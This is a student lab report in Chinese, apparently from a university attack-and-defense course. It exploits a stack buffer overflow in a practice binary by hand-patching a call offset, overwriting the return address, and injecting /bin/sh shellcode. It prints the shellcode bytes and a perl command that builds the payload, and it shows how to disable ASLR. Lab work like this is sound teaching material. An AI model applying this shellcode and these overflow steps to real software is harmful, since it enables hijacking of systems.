• 20192406梁健 202120222 《网络与系统攻防技术》实验一实验报告


    20192406梁健 2021-2022-2 《网络与系统攻防技术》实验一实验报告

    1.实验内容

    本次实践的对象是一个名为pwn1的linux可执行文件。

    该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

    该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

    三个实践内容如下:

    手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

    利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

    注入一个自己制作的shellcode并运行这段shellcode。

    2.实验过程

    方案一:手工修改

    (1)首先通过objdump反汇编查看pwn文件中函数的地址

    <getShell> 0x0804847d

    <foo> 0x08048491

    (2)查看main函数中调用foo函数的代码

    80484b5: e8 d7 ff ff ff ;;call 8048491

    80484ba: b8 00 00 00 00 ;;mov $0x0,%eax

    (3)根据地址信息计算新的调用地址

    main函数调用foo函数分析:

    执行到call 8048491 行时发生了调用,此时指令寄存器EIP中存放的信息为0x080484ba。因此有如下计算公式

    foo地址 - [EIP] = call指令后的数据

    0x08048491 - 0x080484ba = 0x-29

    0x-29的补码是d7 ff ff ff,以小端序显示

    如果要修改为调用getShell函数,则有如下计算公式:

    getShell地址 - [EIP] = call指令后的数据

    0x0804847d - 0x080484ba = 0x-3d

    0x-3d的补码是ff ff ff c3,小端序为c3 ff ff ff

    (3)修改文件内容

    使用vi编辑器的十六进制显示模式:%!xxd,查找d7 ff ff ff,将其修改为c3 ff ff ff

    方案二:构造字符串

    (1)查看foo函数的Bof漏洞并计算缓冲区空间

    08048491 <foo>:

    8048491: 55 ;;push %ebp

    8048492: 89 e5 ;;mov %esp,%ebp

    8048494: 83 ec 38 ;;sub $0x38,%esp

    8048497: 8d 45 e4 ;;lea -0x1c(%ebp),%eax

    804849a: 89 04 24 ;;mov %eax,(%esp)

    指令sub $0x38,%esp表示开辟0x38的堆栈空间,lea -0x1c(%ebp),%eax表示将-0x1c的空间赋给临时变量(用于存储输入)。由进制转换可知,38(h) = 56(d), 1c(h) = 28(d),所以缓冲区大小为28个字符。

    堆栈内容:

    高地址


    EIP      返回本次调用后,下一条指令的地址(0x080484ba)


    ------------------------------------------------------


    EBP     保存调用者的EBP,然后EBP指向此时的栈顶。


    临时变量占28位(0x1c)


    xxxxxxxxxxxxx      剩余空间28位


    -------------------- 申请栈的总空间0x38 = 56位


    低地址

    (2)测试返回地址所在的溢出位置

    使用gdb调试程序,查看溢出的字段对EIP的影响。

    由图片可以看出从输入的第29位开始,1111的ASCII 31313131被写入ESP,2222的ASCII 32323232被写入EIP,即输入的第33到36位为覆盖的返回地址。

    (3)构造注入字符串并实现注入

    由(2)可知,注入字符串需要在第33到36位写上<getShell>函数的地址0x0804847d,通过查询ASCII可知,08、04、84都是不可显示字符,无法通过键盘输入。因此需要借助perl工具将十六进制的0x0804847d写入输入文件,再通过输入文件的内容进行注入。前32位的内容无所谓。

    方案三:注入shellcode

    (1)根据实验指导视频选择payload的结构及基本内容

    payload : anything+retaddr+nop+shellcode ##选择此结构的理由见问题1

    anything为32个任意字符

    retaddr为nop或shellcode的地址

    nop为系统空指令 \x90

    shellcode为以/bin/sh为基础的字符串

    shellcode的十六进制汇编指令如下:

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90

    ※主要的问题是如何确定retaddr应该填写的内容。

    (2)使用GDB调试检测retaddr的内容

    在一个终端中执行(cat input;cat)|./pwn20192406但不运行程序,在另一个终端中使用ps -ef|grep pwn20192406查询pwn20192406程序进程号,并使用gdb的attach pid命令调试进程。

    使用disassemble foo将foo函数反汇编,然后在foo函数的ret位置设置断点break *0x080484ae, 输入命令c继续执行,然后在第一个终端按回车。命令info r esp查看esp的内容,命令x/16x 0xffffd15c查看内存信息,命令x/16x 0xffffd13c查看文件输入信息。

    由图片信息可知,返回地址在0xffffd15c,因此nop的地址应该在返回地址的下一位,所以可以选择0xffffd160,所以payload中的retaddr应该为60d1ffff。

    (3)使用perl生成shellcode文件

    执行命令生成shellcode

    perl -e 'print "a"x32;print"\x60\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > shellcode

    (4)执行shellcode注入

    (cat shellcode; cat) | ./pwn20192406

    3.问题及解决方案

    - 问题1:nop+shellcode+retaddr结构无法成功实现注入。

    - 问题1解决方案:这种结构无法成功的原因,我的理解是本机是64位机器,无法关闭堆栈保护和堆栈执行保护,因此在栈中的代码无法执行,因为上述结构shellcode是在栈中,无法执行,所以这种payload结构无法使用。解决方法是使用另一种payload结构实现注入,shellcode在栈外时,代码就可以执行了。

    - 问题2:每次执行程序时数据在栈中的地址是随机的,需要修改这个系统设置。

    - 问题2解决方案:关闭地址随机化,以管理员身份进入对应文件夹,然后对该文件的内容进行修改,由2改为0。文件:(/proc/sys/kernel/randomize_va_space=O)

    4.学习感悟

    通过本次实验学习了缓冲区溢出攻击的相关知识和实践操作。虽然之前也学习过缓冲区溢出攻击的相关知识,但是本次实验从另一个角度再次学习了这个知识,我对这个缓冲区溢出攻击的理解更进一步,并且通过实际动手实现shellcode注入攻击,和之前学习的内容相比,我对系统寄存器的功能和汇编语言的相关知识了解更多,对包括EBP,EIP,ESP等主要寄存器的认识更丰富。虽然实现的过程比较顺利,但是仍然还有一些细节的知识理解的不是很好,还需要继续学习,增强能力水平。

  • 相关阅读:
    TCP通信丢包原因总结
    根据日志查看QPS
    mysql:备份、复制
    集群
    redis性能提升
    redis源码——多机数据库的实现
    redis源码——单机数据库的实现
    redis 设置过期Key 的 maxmemory-policy 六种方式
    字符处理
    贝塞尔曲线
  • 原文地址:https://www.cnblogs.com/lj2406/p/16034368.html
Copyright © 2020-2023  润新知